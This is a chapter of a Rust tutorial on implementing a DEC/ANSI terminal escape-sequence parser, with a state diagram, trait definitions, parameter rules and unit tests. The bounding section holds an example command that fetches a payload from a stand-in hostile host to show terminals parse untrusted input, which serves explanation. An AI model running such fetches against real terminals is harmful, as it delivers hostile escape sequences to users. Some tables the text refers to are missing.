The Parser State Machine

Terminal escape sequences are not a format you can match with starts_with. They are a grammar, and the only implementation that survives contact with reality is a state machine — because the byte stream arrives in arbitrary chunks, and any sequence can be split across any two of them.

The canonical reference is Paul Williams' "A parser for DEC's ANSI-compatible video terminals" (vt100.net/emu/dec_ansi_parser), derived from the VT500 series. Every serious terminal — xterm, Alacritty (vte), kitty, foot, WezTerm, Ghostty — implements a variant of it. You will too.

The Byte Classes

Everything follows from how bytes are classified. Learn this table; the state machine is mostly mechanical once you have it.

Warning — the C1 problem. In an 8-bit environment, 0x9b is CSI, 0x9d is OSC, and 0x9c is ST. In a UTF-8 environment those same bytes are continuation bytes of multi-byte characters, and treating them as controls corrupts every non-ASCII character. Modern terminals are UTF-8, so the correct behavior is: do not honor 8-bit C1 controls. Recognize only the 7-bit ESC Fe forms (ESC [ for CSI, ESC ] for OSC, ESC \ for ST). This book takes that position. Note it explicitly in your code, because it is a deliberate incompatibility with the VT500 spec.

The States

                    ┌──────────────────────────────────────────┐
                    │              GROUND                       │
                    │  printable → Print(char)   (UTF-8 here)  │
                    │  C0        → Execute(byte)               │
                    └───────────────┬──────────────────────────┘
                          ESC (0x1b)│
                    ┌───────────────▼──────────────────────────┐
                    │              ESCAPE                       │
                    │  clear params & intermediates             │
                    └──┬───────┬────────┬────────┬──────────┬───┘
      0x20-0x2f (int)  │  '['  │   ']'  │   'P'  │  X ^ _   │ 0x30-0x7e
            ┌──────────▼┐  ┌───▼────┐ ┌─▼──────┐ ┌▼────────┐ │ (final)
            │  ESCAPE_  │  │  CSI_  │ │  OSC_  │ │ SOS/PM/ │ │  → EscDispatch
            │INTERMEDIATE  │ ENTRY  │ │ STRING │ │ APC_STR │ │  → Ground
            └──────────┬┘  └───┬────┘ └─┬──────┘ └┬────────┘ │
                       │       │        │         │          │
                  final│  ┌────┴────────┴─────┐   │(consume  │
                       │  │                   │   │ until ST)│
                       ▼  ▼                   ▼   ▼          ▼
                    EscDispatch          (see below)      GROUND

   CSI sub-states:
     CSI_ENTRY ──0x30-0x39/';'──▶ CSI_PARAM ──0x20-0x2f──▶ CSI_INTERMEDIATE
         │                            │                          │
         │ 0x3c-0x3f (private)        │ 0x40-0x7e (final)        │ 0x40-0x7e
         │  (ONLY here!)              ▼                          ▼
         └──────────────▶ CSI_PARAM  CsiDispatch → GROUND    CsiDispatch → GROUND
         │
         │ 0x3a (':') in the wrong place, or too many params
         ▼
     CSI_IGNORE ──0x40-0x7e──▶ GROUND     (swallow until a final byte)

   DCS sub-states (ESC P …):
     DCS_ENTRY → DCS_PARAM → DCS_INTERMEDIATE → DCS_PASSTHROUGH ──ST──▶ GROUND
                                                    │ hook()/put()/unhook()
                                              (or DCS_IGNORE)

   OSC_STRING: accumulate until BEL (0x07) or ST (ESC \ ) → OscDispatch → GROUND

The three global rules

These apply from any state, and they are what makes the machine robust:

1. ESC (0x1b) always aborts and restarts. Whatever half-finished sequence you were building is discarded. This is why a corrupted stream self-heals within one sequence.
2. CAN (0x18) and SUB (0x1a) abort to Ground. SUB may also print a substitute character.
3. C0 controls execute immediately without changing state — except inside string states (OSC/DCS /APC), where they are either part of the string or terminate it.

Rule 3's exception matters: \x1b]0;my\x07title\x07 — the first BEL terminates the OSC. But a \n in the middle of an OSC string is, per spec, part of the string. In practice, terminals also terminate OSC on ESC (rule 1) and often on \n as a safety valve against a program that forgot the terminator. Pick a policy, document it, test it.

The Actions

Your Perform trait. These are the only things a parser can tell you.

#![allow(unused)]
fn main() {
pub trait Perform {
    /// A printable character (already UTF-8 decoded).
    fn print(&mut self, c: char);

    /// A C0 or C1 control byte to execute: LF, CR, BS, HT, BEL, ...
    fn execute(&mut self, byte: u8);

    /// CSI ... final.  `params` may contain sub-parameters (the colon form).
    /// `intermediates` are the 0x20-0x2f bytes. `private` is the 0x3c-0x3f marker, if any.
    fn csi_dispatch(&mut self, params: &Params, intermediates: &[u8],
                    private: Option<u8>, action: char);

    /// ESC intermediates final  — e.g. ESC 7 (DECSC), ESC ( B (charset), ESC = (DECKPAM)
    fn esc_dispatch(&mut self, intermediates: &[u8], byte: u8);

    /// OSC — parameters are raw byte slices, split on ';'.
    /// `bell_terminated` matters for a few compatibility quirks.
    fn osc_dispatch(&mut self, params: &[&[u8]], bell_terminated: bool);

    /// DCS: hook() at the start, put() per byte, unhook() at ST.
    fn hook(&mut self, params: &Params, intermediates: &[u8],
            private: Option<u8>, action: char);
    fn put(&mut self, byte: u8);
    fn unhook(&mut self);
}
}

Design notes worth stating:

• print takes a char, not a &str. Grapheme clustering (combining marks, ZWJ emoji) is a screen concern, not a parser concern — the screen knows whether the previous cell can absorb a combining mark. See UTF-8 and Graphemes.
• osc_dispatch takes byte slices, not &str. OSC 8 URIs and OSC 52 base64 payloads are not necessarily valid UTF-8, and forcing a conversion here loses data.
• DCS is hook/put/unhook, not a single call. A DCS payload can be megabytes (sixel images); buffering it all before dispatch is a denial-of-service vector.

Parameters: The Details That Bite

   CSI 1 ; 2 ; 3 m        params = [1, 2, 3]
   CSI ; 5 H              params = [DEFAULT, 5]     ← empty param means DEFAULT, not 0
   CSI H                  params = []               ← no params at all
   CSI 38 ; 5 ; 196 m     params = [38, 5, 196]     ← 256-color, semicolon form
   CSI 38 : 5 : 196 m     params = [[38, 5, 196]]   ← the SAME thing, COLON form:
                                                      ONE parameter with sub-parameters
   CSI ? 1049 h           private = Some('?'), params = [1049]
   CSI > 4 ; 2 m          private = Some('>'), params = [4, 2]   ← modifyOtherKeys
   CSI 0000000009 C       params = [9]              ← leading zeros; must not overflow

The rules:

#![allow(unused)]
fn main() {
/// Parameters with sub-parameters. Bounded by construction.
#[derive(Default)]
pub struct Params {
    /// Flat storage: all params and sub-params in order.
    values: [u16; MAX_PARAMS * MAX_SUBPARAMS],
    /// How many sub-params each param has.
    subparam_counts: [u8; MAX_PARAMS],
    len: usize,
}

const MAX_PARAMS: usize = 16;
const MAX_SUBPARAMS: usize = 6;   // enough for 38:2::r:g:b

impl Params {
    /// Get parameter `i`, or `default` if it is absent or was written empty.
    /// The DEFAULT-not-zero rule lives here, not in the parser.
    pub fn get_or(&self, i: usize, default: u16) -> u16 { /* ... */ }
}
}

Tip: Write get_or and use it everywhere. The single most common source of off-by-one bugs in terminal cores is params[0] where the parameter was absent and the default should have been 1. Never index directly.

The Split-Input Property

This is the property that makes a state machine mandatory, and it is the test that separates a real parser from a lucky one:

   Feeding "\x1b[31m" as one chunk
        must produce EXACTLY the same actions as
   feeding "\x1b", then "[", then "3", then "1", then "m".

It is not hypothetical. A read() on a PTY master returns whatever the kernel has buffered right now. Over SSH, across a write() boundary, or under load, sequences split constantly. A parser built on starts_with or a regex will work in testing and fail in production, intermittently, in a way that looks like a rendering bug.

#![allow(unused)]
fn main() {
#[test]
fn split_input_is_equivalent_to_whole_input() {
    // The single most valuable test in terminal-protocol.
    let inputs: &[&[u8]] = &[
        b"\x1b[31mred\x1b[0m",
        b"\x1b]0;title\x07",
        b"\x1b[38;2;255;0;0mtruecolor",
        b"\x1b[38:5:196mcolon-form",
        b"\x1bP+q544e\x1b\\",              // DCS
        b"hello\x1b[1;1Hworld\n",
        "日本語 \u{1F642}".as_bytes(),      // multi-byte UTF-8
    ];
    for input in inputs {
        let whole = collect_actions(&[*input]);
        let split: Vec<&[u8]> = input.iter().map(std::slice::from_ref).collect();
        let bytewise = collect_actions(&split);
        assert_eq!(whole, bytewise, "split mismatch on {:?}", String::from_utf8_lossy(input));
    }
}
}

Run this test with every golden recording, in both modes, forever. It is cheap and it catches an entire class of bug.

Implementing It: Table-Driven vs. Match-Driven

Two idiomatic Rust approaches.

Match-driven — a match (state, byte). Readable, easy to debug, easy to add tracing to. Slightly slower. Start here.

#![allow(unused)]
fn main() {
pub fn advance(&mut self, byte: u8, perform: &mut impl Perform) {
    // Global rules first: they apply from ANY state and are what makes the
    // machine self-healing on corrupt input.
    match byte {
        0x18 | 0x1a => {                     // CAN, SUB: abort
            self.state = State::Ground;
            perform.execute(byte);
            return;
        }
        0x1b => {                            // ESC: abort and restart
            // Note: inside OSC/DCS, ESC may be the start of ST (ESC \), which the
            // string states handle before we get here. Order matters.
            self.state = State::Escape;
            self.clear();
            return;
        }
        // C0 executes immediately in non-string states, without changing state.
        0x00..=0x17 | 0x19 | 0x1c..=0x1f if !self.state.is_string() => {
            perform.execute(byte);
            return;
        }
        _ => {}
    }

    match self.state {
        State::Ground => self.ground(byte, perform),
        State::Escape => self.escape(byte, perform),
        State::CsiEntry => self.csi_entry(byte, perform),
        State::CsiParam => self.csi_param(byte, perform),
        State::CsiIntermediate => self.csi_intermediate(byte, perform),
        State::CsiIgnore => self.csi_ignore(byte),
        State::OscString => self.osc_string(byte, perform),
        State::DcsEntry | State::DcsParam | State::DcsIntermediate => self.dcs_prefix(byte, perform),
        State::DcsPassthrough => { perform.put(byte); }
        State::DcsIgnore | State::SosPmApcString => self.consume_until_st(byte),
        State::EscapeIntermediate => self.escape_intermediate(byte, perform),
    }
}
}

Table-driven — a [State; 256] transition table per state, plus an action table. This is what Williams' original describes and what high-performance parsers use. Faster, harder to read, and much easier to get subtly wrong. Port to it later, and only with the split-input test as your safety net.

Worked Examples: Bytes → States → Actions

\x1b[31m (SGR: red foreground)

Generate it: printf '\033[31mred\033[0m\n'

\x1b[?1049h (enter the alternate screen)

Generate it: printf '\033[?1049h'; sleep 1; printf '\033[?1049l' — or just run vim.

\x1b]0;title\x07 (OSC: set the window title)

Generate it: printf '\033]0;hello\007' — then look at your window title bar.

\x1b[38:2::255:0:0m (truecolor, colon form)

One parameter (38) with sub-parameters [2, EMPTY, 255, 0, 0]. The empty slot is the colour space id from ITU-T T.416, which everyone omits. A parser that flattens colons breaks this, and a parser that rejects the empty sub-parameter breaks it differently.

Generate it: printf '\033[38:2::255:0:0mtruecolor\033[0m\n'

A malformed sequence: \x1b[1;2;3;4;5;…;99z

Unknown final byte z. Correct behavior: dispatch it anyway, and let the core ignore an unknown action. Do not make the parser decide which sequences are known — that is a layer violation, and it means adding a sequence requires touching the parser.

Bounding: Denial of Service Is a Real Concern

A terminal parses untrusted input. curl evil.example/payload | cat is a real attack vector, and terminal parsers have shipped CVEs.

That last row deserves attention: CSI 6n makes the terminal write a reply into the PTY. A program that spams it can make your terminal generate unbounded output. Rate-limit or cap replies.

Experiment

CLAIM. A real terminal's parser recovers from corrupt input within one sequence, because ESC aborts unconditionally.

METHOD.

# Emit a truncated sequence, then a valid one.
printf '\033[38;5'          # incomplete SGR, no final byte
printf '\033[31mRED\033[0m\n'   # valid
# The RED should be red. The truncated sequence was discarded by the ESC rule.

# Now garbage, then valid:
head -c 200 /dev/urandom; printf '\033[32mGREEN\033[0m\n'
# Your terminal may be left in a strange mode (random bytes can contain valid
# sequences). Recover with:  printf '\033c'    (RIS — full reset)

# Feed the same into YOUR parser and confirm identical recovery.

PREDICTION. Before running: after the truncated \033[38;5, is the following text red? What would happen if your parser did not implement the ESC-aborts rule?

Test

#![allow(unused)]
fn main() {
#[test]
fn esc_aborts_an_incomplete_sequence() {
    // The self-healing property. "\x1b[38;5" is incomplete; the next ESC must
    // discard it entirely so the following SGR is parsed cleanly.
    let actions = collect_actions(&[b"\x1b[38;5\x1b[31mX"]);
    assert_eq!(actions, vec![
        Action::Csi { params: vec![31], intermediates: vec![], private: None, final_byte: 'm' },
        Action::Print('X'),
    ], "the truncated sequence must produce NO dispatch");
}

#[test]
fn parameters_are_bounded() {
    // 100 parameters must not allocate 100 slots or panic.
    let mut input = b"\x1b[".to_vec();
    for _ in 0..100 { input.extend_from_slice(b"1;"); }
    input.push(b'm');
    let actions = collect_actions(&[&input]);
    match &actions[0] {
        Action::Csi { params, .. } => assert!(params.len() <= 16),
        other => panic!("expected a CSI dispatch, got {other:?}"),
    }
}

#[test]
fn parameter_values_saturate() {
    // Must not overflow, must not panic.
    let actions = collect_actions(&[b"\x1b[99999999999999999999C"]);
    match &actions[0] {
        Action::Csi { params, .. } => assert_eq!(params[0], u16::MAX),
        other => panic!("expected a CSI dispatch, got {other:?}"),
    }
}

#[test]
fn colon_subparameters_are_not_flattened() {
    // 38:5:196 is ONE parameter with three sub-parameters. Flattening it to
    // three parameters makes SGR 4:3 (curly underline) parse as SGR 4 then 3.
    let actions = collect_actions(&[b"\x1b[38:5:196m"]);
    match &actions[0] {
        Action::Csi { params, .. } => {
            assert_eq!(params.len(), 1, "38:5:196 is one parameter");
            assert_eq!(params.subparams(0), &[38, 5, 196]);
        }
        other => panic!("expected a CSI dispatch, got {other:?}"),
    }
}

#[test]
fn private_marker_after_a_digit_is_ignored() {
    // "CSI 1?H" is malformed. It must be swallowed, not dispatched as CSI 1 H.
    let actions = collect_actions(&[b"\x1b[1?HX"]);
    assert_eq!(actions, vec![Action::Print('X')]);
}

#[test]
fn unbounded_osc_is_discarded_not_buffered() {
    let mut input = b"\x1b]0;".to_vec();
    input.extend(std::iter::repeat(b'A').take(1_000_000));
    input.push(0x07);
    let actions = collect_actions(&[&input]);
    // Either no dispatch (discarded) or a truncated one — but never a 1 MB String.
    if let Some(Action::Osc { params, .. }) = actions.first() {
        assert!(params[1].len() <= 8192, "OSC payload must be bounded");
    }
}
}

Challenge Extensions

1. Fuzz it. cargo fuzz with a target that feeds arbitrary bytes and asserts only "does not panic, does not hang, memory stays bounded." Run for an hour. Fix everything it finds. Check the corpus in.

2. Add a tracing wrapper. TracingPerform<P> that logs (state, byte) → state, action and forwards to the inner Perform. This is --debug-parser from the teaching method, and it is how you will debug every subsequent bug.

3. Port to a transition table and benchmark against the match version on a 10 MB recording. Report the speedup and whether it justified the readability cost. Keep the split-input test green throughout.

4. Differential-test against vte. Feed your golden corpus into both and compare action streams. Every difference is either your bug or a deliberate decision — document which.

5. Support 8-bit C1 behind a flag. Implement it, then write the test that shows it corrupts UTF-8 text, and use that test to justify keeping it off by default.

Validation / Self-check

1. Name every state and one byte that causes a transition into it.
2. State the three global rules, and explain what each one protects against.
3. Why does ESC abort from any state? What property does that give the parser?
4. What is the split-input property, and why is a starts_with-based parser fatally broken?
5. In UTF-8 mode, why must 8-bit C1 controls be ignored? Give the corruption it causes.
6. Explain the difference between CSI 38;5;196m and CSI 38:5:196m at the parser level.
7. What does a missing parameter mean, and why must the parser not substitute a default?
8. Name four bounds a parser must enforce and the attack each prevents.
9. Why does print take a char rather than a grapheme cluster?
10. Why is DCS hook/put/unhook rather than a single dispatch?
11. CSI 1?H arrives. What should your parser do, and why?
12. Your parser sees an unknown final byte z. Who decides to ignore it — the parser or the core? Why?

Next: UTF-8 and Graphemes.